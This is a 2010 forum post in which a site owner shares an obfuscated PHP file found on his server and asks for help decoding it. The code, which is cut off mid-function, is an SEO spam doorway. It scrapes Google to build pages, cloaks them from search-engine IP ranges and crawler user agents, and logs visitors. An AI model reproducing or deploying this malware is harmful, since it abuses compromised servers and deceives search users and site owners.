1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Decode Please

Discussion in 'BlackHat Lounge' started by mattblack, Nov 4, 2010.

  1. mattblack

    mattblack Regular Member

    Joined:
    Nov 12, 2008
    Messages:
    324
    Likes Received:
    105
    Home Page:
    I had a file uploaded to my server called t.php in a directory called LANG

    Can anyone decode this please, looks like it auto builds pages ..

    Code:
    <?php 
    
     $x48="\141rr\x61y_\162\x65\166er\163e"; $x49="a\162\162\141\171\137m\145rg\145"; $x4a="b\141\163e\x6ea\155\x65"; $x4b="c\150\x6d\x6fd"; $x4c="\x63o\x75\156t"; $x4d="cu\162l_\151\x6ei\164"; $x4e="\143\x75\162\x6c_\x73\145\x74\x6f\x70\164"; $x4f="\143url\x5f\x65\170\x65c"; $x50="cu\x72\x6c\x5f\x63lo\x73\145"; $x51="\144\x61\x74e"; $x52="\145\170\x70\154od\145"; $x53="\x66\143\x6c\157\x73e"; $x54="\146\x69\154\145\137\145x\151\163\164\163"; $x55="f\x69\154\145\x5fge\164\137\x63on\164\145n\x74\163"; $x56="\x66\x69\154\x65"; $x57="\146i\x6ce\x6d\164\151\155\145"; $x58="f\x69\x6c\145\163\x69\x7a\x65"; $x59="\x66\x6f\x70\x65n"; $x5a="\x66w\x72\151te"; $x5b="\x66unctio\156\137e\170\x69\163\164\163"; $x5c="\150\x65a\x64e\162"; $x5d="\151\x6dp\x6c\157\x64e"; $x5e="\x69\1602\x6c\x6f\156g"; $x5f="\x69\163\x5f\x72e\x61da\142le"; $x60="\155\x6b\144\151r"; $x61="\155\x74\x5f\x72\x61n\144"; $x62="\160re\147\x5fm\141t\x63\150\137\141\x6c\154"; $x63="s\x68u\x66\146\154\145"; $x64="\163t\162_\x72\145\160\154\x61c\x65"; $x65="\163\164r\154\145n"; $x66="s\164rist\162"; $x67="s\164r\x73\164\162"; $x68="\164\x72\151\155"; $x69="ucf\x69\162\x73\x74"; $x6a="\x74\x69\155e"; $x6b="\165\x63\x77\x6f\x72\144\163"; $x6c="\x75r\154\x65\x6ec\157\144\145";
    
    error_reporting(0);define('MR', 1);define("T\137\061", 60 * 60 * 3);define("\124_\x32", 20 * 60);define('SID', 3);function x0b($x0b) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x0c = $x4d();$x4e($x0c, CURLOPT_URL, $x0b);$x4e($x0c, CURLOPT_REFERER, "ht\x74p\x3a\057/w\x77\167.\x67\x6fo\147\x6c\145\x2e\143o\155");$x4e($x0c, CURLOPT_USERAGENT, "\115\x6f\x7a\151l\154a/\x35.0\x20(\x57\x69\156\x64\x6fw\163;\x20U;\x20\127\x69\x6edo\167\x73\040NT 5.\061\073\x20\145\x6e\x2d\x55S\x3b \162v\072\061.\070\x2e\061\x2e\x31\066) G\x65c\153o\x2f\x320\x30\x38\x30\067\060\x32 Fir\145\146\157\170/\x32.\060\056\071.9");$x4e($x0c, CURLOPT_RETURNTRANSFER, 1);$x4e($x0c, CURLOPT_FOLLOWLOCATION, 1);$x4e($x0c, CURLOPT_ENCODING, "\x67z\151\160");$x4e($x0c, CURLOPT_TIMEOUT, 200); $x4e($x0c, CURLOPT_AUTOREFERER, 1);$x0d = $x4f($x0c);$x50($x0c);return $x0d;}function x0c($x0e, $x0f = "") { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x0e = $x64(array('+', ' '), '-', $x68($x0e));$x10 = $x69($x64('-', ' ', $x68($x0e)));if (MR == 1) {return '<a href="' . $x0f . $x0e . '.html" title="' . $x10 . '">' . $x10 . '</a>';} else {$x11 = $x48($x52('/', __FILE__));return '<a href="' . $x0f . $x11[0] . '?p=' . $x0e . '" title="' . $x10 . '">' . $x10 . '</a>';}}function x0d($x12, $x13) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; list ($x14, $x15) = $x52('/', $x13);return ($x5e($x12) & ~((1 << (32 - $x15)) - 1)) == $x5e($x14);}function x0e($x16, $x17 = 1024) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x18 = '<ul>';$x19 = $x52("\n", $x16);$x1a = 0;$x63($x19);foreach ($x19 as $x0e) {if ($x65($x0e) < 2) continue;$x18 .= '<li>' . x0c($x0e) . '</li>';$x1a++;if ($x1a == $x17) break;}return $x18 .= '</ul>';}function x0f() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; if (!empty($_SERVER["\110TT\120\x5fC\114\x49EN\x54\x5fIP"])) {return $_SERVER["\x48\x54\124P_C\x4cIE\x4eT_\x49P"];} elseif (!empty($_SERVER["\x48T\124\120_\x58\x5f\x46OR\127\101\122\104\x45D\137F\x4f\122"])) {return $_SERVER["\x48T\x54P\137X\137\x46ORW\101\122\104\x45\x44_\106\117R"];} else {return $_SERVER["\x52\x45\x4dO\x54\105_\x41\x44\x44\x52"];}}function x10() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; return empty($_SERVER["\110\x54\124P\x5fU\123\x45\x52\137\x41\x47\105\x4e\x54"]) ? "\x75\156\144\145fine\x64" : $_SERVER["\x48TT\120_U\x53E\x52\x5f\x41\x47\x45\x4e\x54"];}function x11($x0e) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x1b = './.c/' . $x0e . '-ww.txt';if (!$x54($x1b) || $x6a() - $x57($x1b) > T_1) {$x1c = x0b("h\x74\x74p:/\057\167\x77\167\056\x67\157\x6f\147\154e\x2e\143\157m\x2fse\141r\143h\077\150l\x3de\156&\163\141f\x65\x3dof\146&t\x62o=1\x26\x74b\x73=\167\167\x3a\x31\046\x71\075" . $x6c($x0e) . "\x26b\x74\156\107\075\x53e\x61r\143\150");$x1d = $x59($x1b, "\167\053");$x62("\x7cpa\x72\x65n\164\056\147\x6fo\147\154e.ww\x2er\(\x28\x2e*?\x29\)\x7c\151m\163", $x1c, $x1e);$x62("|\"\x28\133\136\"]+)\"\x2c\174si", $x1e[1][0], $x1f, PREG_PATTERN_ORDER);foreach ($x1f[1] as $x20) {$x5a($x1d, $x68($x20) . "\n");}$x53($x1d);}return $x55($x1b);}function x12() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x1b = "\056/\056\x63\x2f\150o\x74\x2dt\162\x65\156ds\056\x74x\164";if (!$x54($x1b) || $x6a() - $x57($x1b) > T_2) {$x18 = x0b("h\x74t\160:\x2f\057\x77w\167.\147oogl\x65\x2ec\x6fm/\164r\145\x6e\x64\163\x2fh\157\x74t\x72\145\156\144\x73?\x73\x61\x3d\x58");$x1d = $x59($x1b, "\167+");$x62("\043\150\x6ft\x74r\x65\x6e\144\x73\?\x71\x3d\050\133\x5e\046\135\053\x29&\043U", $x18, $x1e);foreach ($x1e[1] as $x20) {if ($x65($x20) < 20)$x5a($x1d, $x68($x20) . "\n");}$x53($x1d);}return $x55($x1b);}function x13($x0e, $x17) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x1b = ".\057\056c\057" . $x0e . "\x2drli\156\x6b\163\056t\170\164";if (!$x54($x1b) || $x6a() - $x57($x1b) > T_1) {$x21 = $x56("\144o\155\x73\x2e\164\x78t", FILE_SKIP_EMPTY_LINES);$x19 = $x56("\x6bey\163\056\x74x\164", FILE_SKIP_EMPTY_LINES);$x18 = '<ul>';$x63($x19);for ($x1a = 0; $x1a < $x17; $x1a++) $x18 .= '<li>' . x0c($x68($x19[$x1a]), $x21[$x61(0, $x4c($x21) - 1)]) . '</li>';$x18 .= '</ul>';$x22 = $x59($x1b, 'w');$x5a($x22, $x18);$x53($x22);}return $x55($x1b);}function x14() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x1b = "\056\057\056c/\164r\x65\156d\163\056\x74xt";if (!$x54($x1b) || $x6a() - $x57($x1b) > T_1) {$x0b = "\150t\164\160\072/\057\x77w\x77\x2e\147o\157\x67le\x2ec\157m\057t\x72\145n\144\x73\057\150\x6f\x74t\x72\145\156d\163\x3f\x73\x61\x3d\130&\144\141\x74e\x3d" . $x51("\x59-\x6e\x2d\x6a", $x6a() - 60 * 60 * 24 * 3);$x18 = x0b($x0b);$x23 = "ht\164\x70:\057/\167w\x77.\x67\x6f\157g\x6c\145\056\x63\x6fm\057\x74re\156\x64s/h\157t\x74\162e\x6e\x64\163?\163\x61=X\x26da\x74\x65\075" . $x51("Y-\x6e\x2dj", $x6a() - 60 * 60 * 24 * 2);$x18 .= x0b($x23);$x1d = $x59($x1b, "w+");$x62("#\x68\157\x74t\162e\156\x64\163\?q\x3d(\133^&\x5d\053)\x26#\125", $x18, $x1e);foreach ($x1e[1] as $x20) {if ($x65($x20) < 20)$x5a($x1d, $x68($x20) . "\n");}$x53($x1d);}return $x55($x1b);}function x15($x0e) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x1b = "./\056\143\057" . $x0e . "-\x61\x64\166.\164\170t";if (!$x54($x1b) || $x6a() - $x57($x1b) > T_1) {$x18 = x0b("\150\x74\x74p\x3a/\x2fcli\145n\164s\061.\x67\x6fo\x67\154\x65\056r\165\x2f\143om\x70\154e\164\x65\x2f\163\x65\x61\x72\x63h?\150\154\x3d\x65\x6e\046\161\075" . $x64("-", "\x2b", $x0e));$x1d = $x59($x1b, "\x77\053");$x62("\174\[\"\x28[\136\"\x5d+)\"\054\174si", $x18, $x1e, PREG_PATTERN_ORDER);foreach ($x1e[1] as $x20) {$x5a($x1d, $x68($x20) . "\n");}$x53($x1d);}return $x55($x1b);}function x16() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; return $x55("\x6be\x79\163\056\164\x78\x74");}function x17($x0e) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x1b = './.c/' . $x0e . '.html';if (!$x54($x1b)) {$x0e = $x64("\055", "+", $x0e);$x1d = $x59($x1b, "\x77\x2b");$x18 = x0b("\150t\x74p:/\057\167\x77\167\x2e\147\157\157\x67\154\x65.\x63o\x6d/sear\x63h?\143\154ie\x6e\x74\075\x66ir\145\146\157\170\046\x6e\x75m\075\x31\x30\x30\x26hl=\145\x6e&\161\075" . $x0e . "\x26\x6cr\x3d\x6c\x61n\147\x5fe\156"); $x62("#\x3c\x64i\x76\040\x63\x6cas\163\075\"\163\"\076\x28\x2e\052\x29<\142\162\x3e\x23\x55", $x18, $x1e); $x24 = array();$x25 = array("\x3c\x62>\x2e\056\056.\x2e\x3c/b>", "h\162\x65f", "\x3c\163p\x61n", "<\x64\151\x76");for ($x1a = 0; $x1a < $x4c($x1e[1]); $x1a++) {$x26 = false;foreach ($x25 as $x27) {if ($x67($x1e[1][$x1a], $x27)) {$x26 = true;break;}}if ($x26) continue;$x24[] = $x64(array('<', '>', "\074\x62\x3e\x2e.\056\x3c\x2f\142>"), '', $x1e[1][$x1a]);}$x63($x24);$x28 = $x61(1, 4);$x24[0] = '<h' . $x28 . '>' . $x24[0] . '</h' . $x28 . '>';$x29 = "\x68\164\x74\x70:\057/i\155\141g\145\x73.\147\157o\147le.\x63\157m/\151\x6d\x61\147\x65\163\x3f\161\075" . $x0e . "&\165\x6d=1\046hl\x3d\145n\046\163\141\146\145\x3dof\x66\x26\163\141\075N\046\164\x62\163\x3d\x69s\x63h\072\061\x26\163\x6f\x75\x74\0751&b\x69w=\x31\066\x32\071&\x62\151\150=95\067\x26\x61q\075f&a\x71\151\075g\061\x30";$x2a = x0b($x29);$x62("/\072\"\x2c\"(\133^\"\135*\051\"\x2fs\x55", $x2a, $x1e);$x63($x1e[1]);$x2b = $x61(3, $x4c($x24) - 1);$x2c = $x61(1, 6);$x2d = array();$x2e = array();$x2f = $x64('+', ' ', $x0e);for ($x1a = 0; $x1a < $x2b; $x1a++) $x2d[] = '<p>' . $x24[$x1a] . '</p>';for ($x1a = 0; $x1a < $x2c; $x1a++) $x2e[] = '<div id="' . $x1a . '"><img src="' . $x1e[1][$x1a] . '" alt="' . $x69($x2f) . '" title="' . $x69($x2f) . '"/><span class="desc">' . $x24[$x61(0, $x4c($x24) - 1)] . "\x3c\x2fs\160\x61\x6e\076\074/\x64\151\166>";$x30 = $x49($x2d, $x2e);$x63($x30);$x18 = $x5d('', $x30);$x5a($x1d, $x18);$x53($x1d);}return $x55($x1b);}function x18() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x31 = array("\06208\x2e8\x30.1\x39\x32\0560\0572\061","\x32\060\x37.\061\061\x31\x2e\061\x39\062\x2e0\057\062\x34","\0619\064\0567\x38.3\x32\x2e0/\x324","\061\x32\x34\x2e\x31\x38\x37.\x392\x2e\060\057\0624","\067\x36\056\x312\x32\056107.\060\057\062\x34","\067\067.1\x30\060.\064\x2e\060\05724","\061\x32\x2e\x31\066\070.\x31\x31\x38\x2e\x30\x2f\x324","\06151\x2e\0612\061.\x30\0560\0571\066","19\062.\067\x37.\061\066\x31\x2e\x30/\062\x34","\0662\056\0621\x35\x2e\060\x2e\x30\057\x32\x31","1\x395\056\x325.\064\x38\x2e\060\0572\x34","1\x365.\x316\x31\x2e\x30\x2e\x30/\061\x36","\0611\063\056\060.\x30\x2e\060/8","\062\0610\056\x35\065\x2e\0621\065\056\060/\x32\x34","15\071\x2e\062\x35\061\x2e0\x2e\060\x2f1\x36","1\0716.\060\056\060.\060/8","7\x30.6\060\x2e\x323\067.0\x2f\x32\x34","65.27\x2e1\x39\x39.0/24","\x31\x32\x2e\066\x2e\x311\x37\0560\0572\x34","\066\x35\056\x32\x34\x31\x2e\061\x38\x2e0\057\062\x34","1\x365\056\062\0648\x2e\060\0560\057\061\x36","1\x34\x34\05674\x2e0\x2e\x30\057\x31\x36","\x36\063.1\067\062\056\062\x37.\060/2\064","2\061\x38\056\x32\x34\x37\056\x32\x31\065\0560\0572\x34","\x38\064\05617\x37.\x31\061\x39.\060/\x32\064","\06216\05652\0562\061\x35\0560\x2f\062\x34","\x31\x367\x2e\061\x35\x39\0560\x2e\060\057\061\066","18\x38\x2e98\x2e\067\067.\x30\x2f\062\x34","6\066.\066\056\x31\0644\x2e0/\x32\x30","\0717\056\x314\070\x2e254\x2e0/\062\x34","\x388\0568\x30.2\x30\x35.0\x2f2\064","21\x32.\062\061\x39\x2e1\x374.0\057\x32\063","\x380\x2e\061\x36\x39.\061\x35.\060/\062\x34","\062\x317.\061\062\x36.0\x2e\x30\05723","\x39\062\056\x32\x339\0564\066\x2e\060/\x32\x34","\x394.6.\061\x37\x32\056\x30\x2f\x32\064","8\060\x2e3\x34\x2e\065\064.0\x2f\062\x34","\0701.8\x33\x2e1\070\x34.\060\x2f\x32\064","7\x35.71.5\063\056\x30\x2f\062\x34","\0710\05622\x37\x2e\x32\064.\x30\05723","1\061\067\x2e\x30\056\060\x2e\x30/\x38","\067\x36\x2e\066.\x38\x33\x2e0/\062\064","\x38\x33.\062\0649\x2e\x32\063\060\x2e\x30\x2f2\064","6\x39\0568\064.\061\x30\x35\x2e0\x2f\062\x34","\x32\061\x36.14\071\x2e\061\x39\060\x2e0/24","\070\064\x2e177\x2e\x31\x322.\x30\057\062\064","\0665\x2e\071\x2e1\x378.\060/2\064","\x319\065\x2e\061\063\x34.\x31\x368\x2e0/2\064","\061\x32\x39\x2e\x317\066.0\x2e0\057\061\x36","19\064\056\06102\x2e0\x2e\060\057\0616","\071\070.\x31\067\x32.\x3156.\060/\062\063","\062\x307\056\x31\x311\x2e192.\060\057\061\070","\x320\067.24\061\x2e\x317\063.\x30\057\0624","\x314\065\056\x336.0\x2e\x30\x2f\061\x36","\061\066\x36\0561\x32\070.0\x2e\x30\0579","13\060.\0676\x2e0\056\x30\0571\x36","1\x325\x2e89.\067\x35\056\060\0572\064","\x32\061\x32.\0673.\062\x31\060\x2e0/\x32\064","\061\066\x32\056\x31\x31\061\x2e0.0\x2f\x31\066","\062\x316\0561\0604\x2e\060.\x30/\061\x36","\x36\x35\056184.\x30\x2e\x30\057\061\x33","66\x2e\x316\071\056\062\x33\067\056\x30/24","\062\064\x2e\061\x39\066.\060\x2e\060/1\065","\x36\066\05616\070.0\0560\057\x315","\x320\067.\061\063\070\056\x30\x2e\060\05716","\x37\065\x2e\061\064\062.4\x38\056\060\x2f\x32\060","\x371\0562\x33\x34\0560.\060\057\x31\065","12.\x33\x34.24\x36.0\x2f2\064","71.\x31\x393.\061\x32\070.0\05717","\071\070.1\x39\x32\056\060\x2e\x30\0571\x30","66.\x37\x34\x2e\x30\0560\057\0615","66.2\x37\x2e\x30\x2e0\057\x31\066","\067\064\05688\x2e\060.0\057\x31\x33","\x38\x31\0563\x32\0560.\x30\x2f\061\x34","66\x2e3\x32.0.0\x2f\x31\x36","\x37\061\0564\x38.\060\x2e\060/\x31\063","\x367\x2e1\0701.\0618\062\x2e\060/\0624","\x31\x38\071\x2e32\x2e0\x2e\x30\0571\061","\x36\067\0561\x36\x30\056\061\x32\070\056\x30/\061\x38","\x37\065\056\x357\x2e\0616\060\056\x30\x2f\x320","\x3114\x2e0\x2e\x30.\060\0578","9\066.\x3224\x2e\060\x2e0\x2f\x31\061","\067\062\0562\064\0560.0/\061\066","\061\x394\056\x37\070\0561\062\x35.\060\057\x324","\061\0673\x2e\061\066\0560\056\x30\x2f\061\062","\0668\056\x335\0561\x34\x38.\060\x2f\062\x34","\x37\x30.\06160.\x30\056\x30\0571\x31","\x32\0601.2\067\0560\x2e\060/\x31\066","\067\064\x2e\x3199\x2e\060.\x30\057\x320","\0715\056\060\x2e\060\0560/\x38","\0703\x2e\x32\x35.0\056\x30\057\x316","\x39\061\x2e\063\062.\060.0/1\061","\x397\056\x389\056\x30.0/1\x39","91\x2e\061\x308\0560\x2e\x30/1\x36","6\067\056\x381\x2e2\064\060\0560\x2f2\060","\067\x36.\070\x30.\060\x2e\x30\x2f\061\x32","9\070.\061\064\064.\x30\x2e0\x2f\061\x33","\x39\070\x2e\061\065\x36.0.\060\057\x31\065","98\x2e1\0652\x2e\060.0\0571\064","\x31\x39\x34.\x389\x2e\x32\064\x2e\060/23","14\x39\056\065\x2e\x30\056\060\057\061\066","1\x318\x2e\060\x2e\060\056\060\057\070","\x380\x2e\x31\067\070\x2e0\056\060/\x31\071","2\0612\0561\065\x32\0560\x2e\x30/1\x36","122\056\x32\0624.\060.0\05716","\0664.8\070\056\x30.0\x2f\x316","1\x32\x38\x2e\062\064\061\x2e\060.\060/16","17\070.0\0560\x2e\x30\057\070","\070\070\x2e\x38\x34.\x36\064\0560/\062\x33","1\x32\062\056\x316\056\060\0560/12","2\x307.\061\x39\x35\x2e\x32\x340\x2e\060\057\0620","\x38\064\056\x342\x2e\063\x32.0\057\061\x39","\062\x30\x34\x2e\x31\x32\060\x2e0\x2e\x30\x2f\x31\x36","\x32\x304\056\0611\x38.0\056\060\057\x315","\062\060\x34.\061\x317.\060.0\057\0616","\x386\x2e\x39\x36\x2e\062\x32\064\x2e\060\x2f2\x30","\x32\061\x37.\0675\056\0664\056\x30\0571\071","8\x30.21\070.\060\x2e\060/\x318","7\x39\0560.\060\056\060\x2f8","\x385\056\070\064.\060\x2e0\x2f14","1\062\062.\061\063\x30\0560.\060/\x31\x35","\x312\064.\070\064\056\060.\060/\061\x36","\x312\061\056\061\x312.\x30\x2e0/\x31\x36","\071\x32\056\x30.0.0\057\070","2\0605\x2e212.\060\x2e\x30\x2f1\x36","5\x39\x2e\x311\062.0\x2e\060\x2f\x31\062","\0718\x2e\061\x37\064.32\0560/\x31\071","9\064\x2e\060\x2e\060.\x30\x2f8","\x39\065.\x30.\x30\056\x30\0578","2\x31\062\x2e2\x327\056\060\x2e0\057\061\066","\x31\x319\x2e\060\056\x30\x2e0/\x38","\x384\056\x372\x2e\x30\x2e0/\061\066","\x31\x33\x38\0568\x38\x2e\x30\x2e\x30/\x31\x36","\067\x34.1\062\x35\056\x30\056\060\x2f\061\x36","\067\x32\0561\064.\0619\062.\060\0571\070","6\066\x2e2\0649\x2e\0664\x2e\x30/\x31\x39","6\064\x2e\x3233\056\06160\x2e0/19","\x36\065.208\056\x31\065\061\x2e\x30\05724","2\0607\x2e1\x38\x39.1\0621\x2e0/\0624","2\061\x36.\x32\x33\071\x2e3\062\056\060\057\061\x39","\062\060\071.\x385.\x31\x328.0\057\061\x37","1\x37\x33.1\x39\064\x2e\x30.\x30\x2f\061\066","\x37\060.3\x32\056\061\x32\x38.0\057\0619","\067\060.\x38\071.3\x39\056\x31\065\062\x2f29","70\x2e\071\060\x2e2\0616\x2e\060/2\061");$x32 = array("M\157z\x69\x6c\154a\x2f4.0 \x28comp\x61\164ibl\x65\x3b\x20M\123\111\105\040\066\0560;\x20\127\151\156\144o\167\163\x20\x4eT \065.\x31\x3b\040SV\x31\x29", "\114i\x6e\165\x78", "\147\x6f\157\x67\154\x65b\x6f\x74", "\x73l\x75r\160", "m\x73n\142\x6ft", "\155\145\x64\151a\x70ar\164ner\163", "\x42l\141\143\153B\145\162\162y", "\123a\155s\x75ng");$x33 = array("\x63h\141\x6e\x6e\145\x6c\x3dlink\144\157\143\164\157\162");$x34 = false;$x35 = $_SERVER["\122E\115\x4fT\x45\x5fA\x44D\122"];$x36 = $_SERVER["\x48\124\124P\x5fU\123\105\x52\137\x41\107\105\116T"];$x37 = $_SERVER["\x48\x54TP\137\x52\x45\x46\105R\x45\122"];foreach ($x31 as $x13) {if (x0d($x35, $x13)) {$x34 = true;break;}}foreach ($x32 as $x38) {if ($x66($x36, $x38)) {$x34 = true;break;}}foreach ($x33 as $x39) {if ($x66($x37, $x39)) {$x34 = true;break;}}if (!$x66($x37, "\x67\x6f\x6fg\x6ce") && !$x66($x37, 'q=')) $x34 = true;if ($x66($x37, "\163it\145%\063\x41")) $x34 = true;if ($x34) {$x1d = $x59("k\x65\153s\056\164\x78\164", "\x61\053");$x5a($x1d, $x51("\x59-\155\x2d\144\x20H\072\x69\x3a\163") . '|' . $x36 . '|' . $x35 . '|' . $_SERVER["RE\121\x55\105ST\x5fU\x52\x49"] . "\n");$x53($x1d);}return $x34;}function x19($x3a = "\x74\x70l.\144o\x74") { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; if (!$x54($x3a) || !$x5f($x3a)) exit("ui\041");return $x55($x3a);}function x1a($x3b) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x0e = $x68($x64(array("\x2d", "+"), "\x20", $x3b));$x3c = x19();$x3c = $x64("{t\151t\x6ce}", $x6b($x0e), $x3c);$x3c = $x64("\x7b\156\x65\x77\x5f\164\162\145\x6e\144\163}", x0e(x12()), $x3c);$x3c = $x64("{\164\162\145nds\x7d", x0e(x14()), $x3c);$x3c = $x64("\173\x61\144\166\x5fk\x65ys\x7d", x0e(x15($x3b)), $x3c);$x3c = $x64("\173\162\x6e\144\137ke\171\x73\x7d", x0e(x16(), $x61(2, 16)), $x3c);$x3c = $x64("{\167w}", x0e(x11($x3b)), $x3c);$x3c = $x64("\x7bd\141\164\x61\175", x17($x3b), $x3c);$x3c = $x64("\173\162\x6e\144_\154\x69\156k\x73\x7d", x13($x3b, $x61(2, 16)), $x3c);$x3c = $x64("{\164\157\144a\x79\x5fdate\175", $x51("\x46 j,\040\131"), $x3c);return $x3c;}function x1b($x3d = false) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x3e = $x61(400, 500);$x3f = $x56("k\145\171\163.\x74x\164", FILE_SKIP_EMPTY_LINES);$x63($x3f);$x40 = $x52("/", $_SERVER["\122\x45\x51UE\x53T_\x55R\111"]);$x40 = $x48($x40);unset($x40[0]);$x40 = $x48($x40);$x41 = "\x68t\x74\160\x3a\057\057" . $_SERVER["HT\124\120\x5f\x48O\x53\x54"] . $x5d("\x2f", $x40) . "\x2f";if ($x4c($x3f) < $x3e) $x3e = $x4c($x3f) - 1;if ($x3d) {for ($x1a = 0; $x1a < $x3e; $x1a++) echo x0c($x3f[$x1a], $x41) . "\n";} else {$x1b = "\x2e\x2f\x2e\x63\057\155\141\160.\x68\164\x6d\154";if (!$x54($x1b) || $x6a() - $x57($x1b) > T_1) {$x1c = x19();$x1c = $x64(array("\173n\145\x77_\164ren\144\x73\175", "\x7b\x74\162\145\x6ed\163\175", "\173\x61dv\137\153e\171\163}", "\173\x72\x6ed_\x6b\x65\171s\175", "{w\167}", "{rn\144_\154\151\x6e\153\163}", "\x7b\164o\144\x61\x79_\x64\141te\x7d"), "", $x1c);$x1c = $x64("\x7bt\x69t\x6c\x65\175", "\x53\x69\x74\145\155\141p", $x1c);$x18 = "<\165l\076";for ($x1a = 0; $x1a < $x3e; $x1a++) $x18 .= "\074\x6c\151\076" . x0c($x3f[$x1a], $x41) . "</\x6ci>";$x18 .= "\074\x2ful\076";$x1c = $x64("\x7b\x64\141\164\x61\x7d", $x18, $x1c);$x22 = $x59($x1b, "w");$x5a($x22, $x1c);$x53($x22);}echo $x55($x1b);}}function x1c() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; if ($x54("\x72.a\154\x6cow")) return true;if ($x54("\x6b\x65\153s\056\x74xt") && $x58("ke\153s.\x74\170\164") > 